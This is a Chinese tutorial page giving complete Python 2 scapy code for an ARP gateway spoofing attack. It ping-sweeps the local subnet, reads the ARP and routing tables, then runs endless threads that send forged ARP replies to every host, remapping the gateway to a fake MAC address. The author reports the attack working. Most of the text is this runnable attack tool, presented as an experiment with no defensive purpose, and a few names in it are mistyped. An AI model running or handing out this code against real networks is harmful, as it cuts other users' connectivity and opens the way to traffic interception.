Python利用scapy實現(xiàn)ARP欺騙的方法
一、實驗原理。
本次用代碼實現(xiàn)的是ARP網(wǎng)關(guān)欺騙，通過發(fā)送錯誤的網(wǎng)關(guān)映射關(guān)系導(dǎo)致局域網(wǎng)內(nèi)其他主機無法正常路由。使用scapy中scapy.all模塊的ARP、sendp、Ether等函數(shù)完成包的封裝與發(fā)送。一個簡單的ARP響應(yīng)報文發(fā)送：
eth = Ether(src=src_mac, dst=dst_mac)#賦值src_mac時需要注意，參數(shù)為字符串類型 arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src為源，dst為目標(biāo)，op=2為響應(yīng)報文、1為請求 pkt = eth / arp endp(pkt)
因為實驗時發(fā)現(xiàn)主機并不會記錄來自網(wǎng)關(guān)的免費ARP報文，無奈只有先想辦法把局域網(wǎng)內(nèi)存在的主機的IP-MAC映射關(guān)系拿到手，再逐個發(fā)送定向的ARP響應(yīng)報文。
二、運行結(jié)果。
<1>先查看網(wǎng)關(guān)，確保有網(wǎng)：
<2>因為socket需要sudo權(quán)限，所以以root權(quán)限跑起來：
<3>因為代碼寫的比較繁瑣，跑起來就比現(xiàn)場的工具慢很多，最后看下局域網(wǎng)內(nèi)主機的arp表：
網(wǎng)關(guān)172.16.0.254的MAC地址已經(jīng)從00:05:66:00:29:69變成01:02:03:04:05:06，成功！
三、實現(xiàn)代碼。
代碼過程：加載網(wǎng)關(guān)->掃描局域網(wǎng)內(nèi)主機->掃描完成->加載arp表->發(fā)送ARP響應(yīng)報文。
如圖，代碼分為六個部分。其中的arpATC.py為主程序，pingScanner.py為主機掃描器，arpThread.py為掃描線程，atcThread.py為發(fā)包線程，gtwaySearch.py獲取網(wǎng)關(guān)，macSearch.py讀取本機arp表。
<1>pingScanner.py
通過os.popen函數(shù)調(diào)用ping，使用正則匹配返回字符串判斷目標(biāo)主機是否存在。
#!/usr/bin/python
'''
Using ping to scan
'''
import os
import re
import time
import thread
def host_scanner(ip):
p = os.popen('ping -c 2 '+ip)
string = p.read()
pattern = 'Destination Host Unreachable'
if re.search(pattern,string) is not None:
print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) )
return False
else:
print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) )
return True
if __name__=='__main__':
print 'This script is only use as model,function:scanner(ip)!'
<2>macSearch.py
同樣，調(diào)用os.popen函數(shù)帶入?yún)?shù)'arp -a'查看本地緩存的arp表信息。通過正則表達式截取每個IP對應(yīng)的MAC地址，保存在字典arp_table里并返回。
#!/usr/bin/python
'''
Using re to get arp table
arp -a
? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0
'''
import re
import os
import time
def getMac(ip_table=[],arp_table={}):
#print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) )
p = os.popen('arp -a')
string = p.read()
string = string.split('\n')
pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})'
length = len(string)
for i in range(length):
if string[i] == '':
continue
result = re.search(pattern, string[i])
if result is not None:
ip = result.group(1)
mac = result.group(3)
arp_table[ip]=mac
ip_table.append(ip)
#else:
#print '[*]macSearch.getMac:result is None'
#print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) )
return (ip_table,arp_table)
if __name__=='__main__':
table = getMac()
ip_table = table[0]
arp_table = table[1]
for i in range(len(ip_table)):
ip = ip_table[i]
print '[-]'+ip+'<-is located on->'+arp_table[ip]
<3>gtwaySearch.py
通過使用正則截取os.popen('route -n')的返回值確定網(wǎng)關(guān)IP，把獲取的網(wǎng)關(guān)IP與MAC當(dāng)作元組返回。
#!/usr/bin/python
'''
'Kernel IP routing table\nDestination Gateway Genmask Flags Metric Ref Use Iface\n
0.0.0.0 172.16.0.254 0.0.0.0 UG 100 0 0 enp3s0f1\n
172.16.0.0 0.0.0.0 255.255.255.0 U 100 0 0 enp3s0f1\n'
'''
import re
import os
import time
from macSearch import *
def find_Gateway():
p = os.popen('route -n')
route_table = p.read()
pattern = '(0\.0\.0\.0)(\s+)((\d+\.){1,3}(\d+))(\s+)(0\.0\.0\.0)'
result = re.search(pattern, route_table)
if result is not None:
#print '[-]Gateway is located on:' + result.group(3)+'...'+time.asctime( time.localtime(time.time()) )
table = getMac()
ip = table[0][0]
mac = table[1][ip]
return (ip,mac)
else:
#print '[*]arpATC.find_Gateway:result is None!'
#print '[*]Gateway is no found!'
return
if __name__=='__main__':
print '[-]Looking for Gateway...'+time.asctime( time.localtime(time.time()) )
gateway = find_Gateway()
if gateway is not None:
print '[-]Gateway is located on:' + gateway[0]+'('+gateway[1]+')'+'...'+time.asctime( time.localtime(time.time()))
else:
print '[*]Gateway is no found!'+gateway[0]+time.asctime( time.localtime(time.time()) )
<4>arpThread.py
考慮到ping掃描主機時遇到不存在的主機會等待過長的時間，使用多線程掃描就稍微會快一點。這里是通過繼承、重寫run方法實現(xiàn)功能的。因為不太會控制多線程，所以這里寫死了，是四個線程平分255個可能存在的主機。
#/usr/bin/python
import threading
import time
from gtwaySearch import *
from macSearch import *
from pingScaner import *
class arpThread(threading.Thread):
def __init__(self,tag_ip,number):
super(arpThread,self).__init__()
self.tag_ip = tag_ip
self.number = number
self.status = False
def run(self):
add = 0
if (self.number-1)==0:
add = 1
start = (self.number-1)*64 + add
#1-63,64-127,128-191,192-256
end = start + 64
for i in range(start, end):
if i < 255:
host = self.tag_ip.split('.')
host[3] = str(i)
host = '.'.join(host)
host_scanner(host)
self.status=True
print '[-]Status of Thread_%d is '%self.number+str(self.status)
#print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
<5>atcThread.py
使用與arpThread.py中類似的方法繼承、重寫run方法實現(xiàn)多線程發(fā)包的功能。發(fā)包時源IP是指定的字符串“01：02：03：04：05：06”，源IP為獲取的網(wǎng)關(guān)IP，目標(biāo)IP和目標(biāo)MAC皆為從本機arp表中獲取的真實存在的主機IP與MAC。
#!/usr/bin/python
import threading
from scapy.all import ARP,Ether,sendp,fuzz,send
class atcThread(threading.Thread):
def __init__(self,table,gtw_ip,gtw_mac):
super(atcThread,self).__init__()
self.table = table
self.gtw_ip = gtw_ip
self.gtw_mac = gtw_mac
def run(self):
ip_table = self.table[0]
arp_table = self.table[1]
while True:
for i in range(len(ip_table)):
tag_ip = ip_table[i]
tag_mac = arp_table[tag_ip]
eth = Ether(src=self.gtw_mac, dst=tag_mac)
arp = ARP(hwsrc='01:02:03:04:05:06', psrc=self.gtw_ip, hwdst=tag_mac, pdst=tag_ip, op=2)
pkt = eth / arp
sendp(pkt)
#pkt = eth/fuzz(arp)
#send(pkt,loop=1)
<6>arpATC.py
代碼的主程序，代碼過程：
加載網(wǎng)關(guān)->掃描局域網(wǎng)內(nèi)主機->掃描完成->加載arp表->發(fā)送ARP響應(yīng)報文->等待。
（四線程） （四線程）
因為主程序是死循環(huán)，所以即便是攻擊完成后也不會退出?？梢栽赼rpThread啟動前加入for循環(huán)，這樣就能無限發(fā)送了。
#!/usr/bin/python
'''
'''
import os
from gtwaySearch import *
from arpThread import arpThread
from atcThread import atcThread
def atc_WrongGTW(gtw):
src_ip = gtw[0]
src_mac = gtw[1]
print '[-]Start scanning hosts...' + time.asctime(time.localtime(time.time()))
arpThread_1 = arpThread(src_ip,1)
arpThread_2 = arpThread(src_ip,2)
arpThread_3 = arpThread(src_ip,3)
arpThread_4 = arpThread(src_ip,4)
arpThread_1.start()
arpThread_2.start()
arpThread_3.start()
arpThread_4.start()
t = False
while(t==False):
t = arpThread_1.status and arpThread_2.status and arpThread_3.status and arpThread_4.status
time.sleep(5)
table = getMac()
print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
flag = raw_input('[-]Ready to start attacking:(y/n)')
while(True):
if flag in ['y', 'Y', 'n', 'N']:
break
print "[*]Plz enter 'y' or 'n'!"
flag = raw_input()
if flag in ['n','N']:
print '[*]Script stopped!'
else:
atcThread_1 = atcThread(table,src_ip,src_mac)
atcThread_2 = atcThread(table,src_ip, src_mac)
atcThread_3 = atcThread(table,src_ip, src_mac)
atcThread_4 = atcThread(table,src_ip, src_mac)
os.popen('arp -s %s %s'%(src_ip,src_mac))
print '[-]'+'arp -s %s %s'%(src_ip,src_mac)
print '[-]Strat attack...'
atcThread_1.start()
atcThread_2.start()
atcThread_3.start()
atcThread_4.start()
if __name__=='__main__':
gateway = find_Gateway()
if gateway is not None:
atc_WrongGTW(gateway)
while True:
pass
else:
print "[*]Can't find Gateway!"
以上這篇Python利用scapy實現(xiàn)ARP欺騙的方法就是小編分享給大家的全部內(nèi)容了，希望能給大家一個參考，也希望大家多多支持腳本之家。
相關(guān)文章
MoviePy是一個用于視頻編輯的Python模塊，可用于基本操作（如剪切、拼接、字幕插入）、視頻合成、視頻處理或創(chuàng)建高級效果等。本文給大家介紹MoviePy簡介及Python視頻剪輯自動化的相關(guān)知識，感興趣的朋友一起看看吧2020-12-12
python基于mysql實現(xiàn)的簡單隊列以及跨進程鎖實例詳解
這篇文章主要介紹了python基于mysql實現(xiàn)的簡單隊列以及跨進程鎖,需要的朋友可以參考下2014-07-07
openpyxl，一個能讀取和修改Excel電子表格的Pyhton模塊，可以實現(xiàn)自動化處理表格信息，擺脫無趣無味。本文將利用openpyxl和calendar庫，實現(xiàn)自動化生成愛豆日歷，感興趣的可以了解一下2022-05-05
本文主要介紹了Python中str.format()方法的具體使用，文中通過示例代碼介紹的非常詳細(xì)，具有一定的參考價值，感興趣的小伙伴們可以參考一下2021-09-09
如何在pycharm中配置pyqt5設(shè)計GUI操作教程
這篇文章主要介紹了如何在pycharm中配置pyqt5設(shè)計GUI的操作教程，有需要的朋友可以借鑒參考下，希望大家可以多多交流，討論相關(guān)問題共同提升2021-08-08
Python django實現(xiàn)簡單的郵件系統(tǒng)發(fā)送郵件功能
這篇文章主要介紹了Python django實現(xiàn)簡單的郵件系統(tǒng)發(fā)送郵件功能,結(jié)合實例形式分析了django發(fā)送郵件的實現(xiàn)技巧與相關(guān)注意事項,需要的朋友可以參考下2017-07-07
Python調(diào)用Prometheus監(jiān)控數(shù)據(jù)并計算
Prometheus是一套開源監(jiān)控系統(tǒng)和告警為一體，由go語言(golang)開發(fā)，是監(jiān)控+報警+時間序列數(shù)據(jù)庫的組合。本文將介紹Python如何調(diào)用Prometheus實現(xiàn)數(shù)據(jù)的監(jiān)控與計算，需要的可以參考一下2021-12-12
pycharm2022.2遠(yuǎn)程連接服務(wù)器調(diào)試代碼實現(xiàn)
本文主要介紹了pycharm2022.2遠(yuǎn)程連接服務(wù)器調(diào)試代碼實現(xiàn)，文中通過示例代碼介紹的非常詳細(xì)，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-02-02
python 定時任務(wù)去檢測服務(wù)器端口是否通的實例
今天小編就為大家分享一篇python 定時任務(wù)去檢測服務(wù)器端口是否通的實例，具有很好的參考價值，希望對大家有所幫助。一起跟隨小編過來看看吧2019-01-01
這篇文章主要介紹了python使用建議與技巧分享，幫助大家更高效的使用python，感興趣的朋友可以了解下2020-08-08